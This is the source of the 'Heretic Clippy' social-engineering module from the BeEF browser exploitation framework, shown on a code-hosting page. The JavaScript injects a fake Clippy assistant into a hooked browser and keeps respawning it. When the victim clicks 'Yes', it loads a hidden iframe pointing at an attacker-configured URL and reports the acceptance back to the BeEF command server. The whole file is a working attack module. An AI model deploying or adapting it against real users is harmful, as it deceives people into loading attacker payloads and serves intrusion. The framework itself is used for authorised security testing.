Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/social_engineering/clippy/command.js
1866 views
1
//
2
// Copyright (c) 2006-2026Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
/**
10
* Heretic Clippy
11
* @version 1.0.0
12
* @author sprky0
13
* @modified vt & denden
14
**/
15
16
function __clippyboot(run) {
17
var _run = run;
18
if (!document.getElementsByTagName("body")[0]) {
19
setTimeout(function(){__clippyboot(_run);},10);
20
} else {
21
_run();
22
}
23
}
24
25
var GUID = {base:"_",cur:0,get:function(){this.cur++;return this.base+this.cur;}}
26
27
var HelpText = function(_question,reusable) {
28
this.question = _question;
29
this.options = [];
30
this.key = GUID.get();
31
this.views = 0;
32
this.reusable = (reusable === true);
33
this.timeout = {};
34
return this;
35
}
36
HelpText.prototype.available = function() {
37
return (this.views < 1 || this.reusable === true);
38
}
39
HelpText.prototype.addResponseURL = function(_text,_url) {
40
this.options.push({text:_text,URL:_url,rel:"external"});
41
return;
42
}
43
HelpText.prototype.addResponse = function(_text,_callback) {
44
this.options.push({text:_text,callback:_callback,rel:"internal"});
45
return;
46
}
47
HelpText.prototype.addTimeout = function(_timeout,_callback) {
48
this.timeout = {callback:_callback,timeout:_timeout};
49
}
50
HelpText.prototype.getKey = function() {return this.key;}
51
HelpText.prototype.toString = function() {
52
return this.question;
53
}
54
HelpText.prototype.toString = function() {
55
return this.getKey();
56
}
57
HelpText.prototype.toElements = function() {
58
59
this.views++;
60
61
var div = document.createElement('div');
62
var p = document.createElement('p');
63
p.innerHTML = this.question;
64
div.appendChild(p);
65
66
for(var i = 0; i < this.options.length; i++) {
67
var button = document.createElement('button');
68
button.innerHTML = this.options[i].text;
69
if (this.options[i].rel == "internal")
70
button.onclick = this.options[i].callback;
71
else {
72
var _Option = this.options[i];
73
button.onclick = function(){
74
window.location = _Option.URL;
75
}
76
}
77
div.appendChild(button);
78
}
79
80
if (this.timeout.callback && typeof(this.timeout.callback) == "function") {
81
setTimeout(this.timeout.callback, (this.timeout.timeout ? this.timeout.timeout : 500));
82
}
83
84
return div;
85
}
86
87
/* CLIPPY Display */
88
var ClippyDisplay = function(options) {
89
90
this.file_dir = (options.file_dir) ? options.file_dir : "";
91
92
this.div = document.createElement('div');
93
this.div.style.zIndex = 1000000;
94
this.div.style.width = "102px";
95
this.div.style.height = "98px";
96
this.div.style.backgroundColor = "transparent";
97
this.div.style.position = "absolute";
98
this.div.style.bottom = 0;
99
this.div.style.color = "black";
100
this.div.style.right = "60px";
101
this.div.style.display = "inline";
102
103
if (navigator.userAgent.match(/MSIE/)) {
104
this.div.style.filter = "revealTrans(transition=12,duration=1.8)";
105
}
106
else {
107
var img = new Image();
108
img.src = this.file_dir + "clippy-main.png";
109
img.style.position = "relative";
110
img.style.display = "block";
111
img.id = "clippyid";
112
113
this.div.appendChild(img);
114
}
115
116
this.div.style.opacity = (options.visible === false) ? 0 : 1;
117
118
return this;
119
}
120
ClippyDisplay.prototype.getElement = function() {
121
return this.div || null;
122
}
123
ClippyDisplay.prototype.fadeIn = function(duration,options) {
124
125
var _clipple = this;
126
127
if (!options)
128
options = {};
129
if (!options.step)
130
options.step = 1 / 200;
131
if (!options.value)
132
options.value = 0;
133
if (!options.remain)
134
options.remain = 199;
135
if (!options.increment)
136
options.increment = duration / 200;
137
138
options.remain--;
139
options.value += options.step;
140
141
if (navigator.userAgent.match(/MSIE/)) {
142
imgfile = _clipple.file_dir + "clippy-main.png";
143
_clipple.div.filters[0].Apply();
144
_clipple.div.innerHTML="<img src='"+imgfile+"' />";
145
_clipple.div.filters[0].Play();
146
}
147
else {
148
_clipple.div.style.opacity = options.value;
149
if (options.remain > 0) { setTimeout(function(){_clipple.fadeIn(duration,options);}, options.increment); }
150
}
151
152
return;
153
}
154
155
156
ClippyDisplay.prototype.fadeOut = function(duration,options) {
157
158
var _clipple = this;
159
160
if (!options)
161
options = {};
162
if (!options.step)
163
options.step = 1 / 200;
164
if (!options.value)
165
options.value = 1;
166
if (!options.remain)
167
options.remain = 199;
168
if (!options.increment)
169
options.increment = duration / 200;
170
171
options.remain--;
172
options.value -= options.step;
173
_clipple.div.style.opacity = options.value;
174
175
176
177
if (navigator.userAgent.match(/MSIE/)) {
178
document.body.removeChild(document.getElementById("pipes"));
179
}
180
else {
181
if (options.remain > 0) {
182
setTimeout(function(){_clipple.fadeOut(duration,options);}, options.increment);
183
}
184
else{
185
document.body.removeChild(document.getElementById("pipes"));
186
}
187
}
188
189
return;
190
}
191
192
193
/** SPEECH BUBBLE **/
194
195
var PopupDisplay = function(o,options) {
196
197
this.file_dir = (options.file_dir) ? options.file_dir : "";
198
199
if (typeof(o) === "string") {
200
p = document.createElement('p');
201
p.innerHTML = o;
202
o = p;
203
}
204
205
this.div = document.createElement('div');
206
this.div.style.zIndex = 1000000;
207
this.div.style.width = "130px";
208
this.div.style.height = "auto";
209
this.div.style.backgroundColor = "transparent";
210
this.div.style.color = "black";
211
this.div.style.position = "absolute";
212
this.div.style.bottom = "85px";
213
this.div.style.right = "55px";
214
this.div.style.display = "block";
215
216
var imgTop = new Image();
217
imgTop.src = this.file_dir + "clippy-speech-top.png";
218
imgTop.style.position = "relative";
219
imgTop.style.display = "block";
220
this.div.appendChild(imgTop);
221
222
this.message = document.createElement('div');
223
this.message.style.background = "transparent url('" + this.file_dir + "clippy-speech-mid.png') top left repeat-y";
224
this.message.style.padding = "8px";
225
this.message.style.font = "11.5px Arial, Verdana, Sans";
226
this.message.appendChild(o);
227
228
this.div.appendChild(this.message);
229
230
var imgBottom = new Image();
231
imgBottom.src = this.file_dir + "clippy-speech-bottom.png";
232
imgBottom.style.position = "relative";
233
imgBottom.style.display = "block";
234
this.div.appendChild(imgBottom);
235
236
return this;
237
}
238
PopupDisplay.prototype.close = function() {
239
try {
240
var div = this.getElement();
241
if (div != null && div.parentNode) {
242
div = div.parentNode;
243
div.removeChild(this.getElement());
244
}
245
} catch(e) {
246
// alert(e)
247
}
248
}
249
PopupDisplay.prototype.getElement = function() {
250
return this.div;
251
}
252
253
254
/** CLIPPY controller **/
255
256
var Clippy = function(_homeSelector,file_dir) {
257
this.help = {};
258
// What options are OK to use as an introductory question?
259
this.firstlines = [];
260
this.homebase = this.findHomeBase(_homeSelector);
261
this.timer = false;
262
this.file_dir = file_dir;
263
return this;
264
}
265
Clippy.prototype.findHomeBase = function(selector) {
266
267
if (!selector)
268
selector = "body";
269
270
var ref = false;
271
272
if (selector.charAt(0)=="#") {
273
ref = document.getElementById(selector);
274
} else {
275
ref = document.getElementsByTagName(selector)[0];
276
277
var div = document.createElement("div");
278
279
div.style.zIndex = 9999999;
280
div.id = "pipes";
281
div.style.width = "300px";
282
div.style.height = "300px";
283
div.style.backgroundColor = "transparent";
284
div.style.position = "fixed";
285
div.style.bottom = "0";
286
div.style.right = "0";
287
288
ref.appendChild(div);
289
290
return div;
291
292
}
293
294
beef.debug(ref);
295
296
return ref;
297
}
298
Clippy.prototype.run = function(opt) {
299
300
var _c = this;
301
302
this.character = new ClippyDisplay({
303
file_dir : this.file_dir,
304
visible : false
305
});
306
this.homebase.appendChild( this.character.getElement() );
307
this.character.fadeIn(1000);
308
309
var Help = new HelpText("<%== @askusertext %>");
310
Help.addResponse("Yes", function(){ _c.hahaha(); } );
311
Help.addResponse("Not now", function(){ _c.killClippy(); setTimeout(function() { new Clippy("body","<%== @clippydir %>").run(); },"<%== @respawntime %>"); } );
312
this.addHelp(Help,true);
313
314
// initial wait
315
this.talkLater();
316
317
}
318
Clippy.prototype.killClippy = function(){
319
320
this.closeBubble();
321
this.character.fadeOut(1000);
322
}
323
Clippy.prototype.hahaha = function() {
324
325
var div = document.createElement("div");
326
var _c = this;
327
div.id = "heehee";
328
div.style.display = "none";
329
div.innerHTML="<iframe src='<%== @executeyes %>' width=1 height=1 style='display:none'></iframe>";
330
331
document.body.appendChild(div);
332
_c.openBubble("<%== @thankyoumessage %>");
333
setTimeout(function () { _c.killClippy(); }, 5000);
334
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'answer=user has accepted');
335
336
}
337
Clippy.prototype.addHelp = function(_help, is_startphrase) {
338
this.help[ _help.getKey() ] = _help;
339
if (is_startphrase)
340
this.firstlines.push( _help.getKey() );
341
342
return;
343
}
344
Clippy.prototype.sayOne = function(keys,alternative) {
345
346
var found = false, count = 0;
347
348
while(count < keys.length) {
349
var choice = parseInt( Math.random() * keys.length );
350
if( this.canSay( keys[choice]) ) {
351
this.say(keys[choice]);
352
return;
353
}
354
count ++;
355
}
356
357
return;
358
}
359
Clippy.prototype.canSay = function(key) {
360
return this.help[ key ].available();
361
}
362
Clippy.prototype.say = function(key,alternative) {
363
364
if (this.timer != false) {
365
try {
366
clearTimeout(this.timer);
367
this.timer = false;
368
} catch(e) {}
369
}
370
371
if(typeof(key) !== "string" && key.length)
372
this.sayOne(key,alternative);
373
374
this.openBubble( this.help[ key ].toElements() );
375
}
376
Clippy.prototype.firstLine = function() {
377
this.sayOne(this.firstlines);
378
}
379
Clippy.prototype.talkLater = function() {
380
this.closeBubble();
381
var _c = this;
382
this.timer = setTimeout( function() { _c.firstLine(); }, 2000);
383
}
384
Clippy.prototype.openBubble = function(_o) {
385
386
if (typeof(_o)=="string") {
387
var o = document.createElement("p");
388
o.innerHTML = _o;
389
} else {
390
var o = _o;
391
}
392
393
if (this.bubble) {
394
this.bubble.close();
395
}
396
397
this.bubble = new PopupDisplay(o,{file_dir:this.file_dir});
398
this.homebase.appendChild(this.bubble.getElement());
399
400
}
401
Clippy.prototype.closeBubble = function() {
402
if (this.bubble) {
403
this.bubble.close();
404
}
405
}
406
407
/* APPLICATION LOGIC: */
408
// function clippy_boot() {if(document.getElementsByTagName("BODY").length === 0) {setTimeout("clippy_boot()",1);} else {clippy_main();}return;}
409
// function clippy_main() {var c = new Clippy("homebase","./").run();}
410
/* GO! */
411
// clippy_boot();
412
413
__clippyboot(function(){new Clippy("body","<%== @clippydir %>").run();});
414
415
});
416
417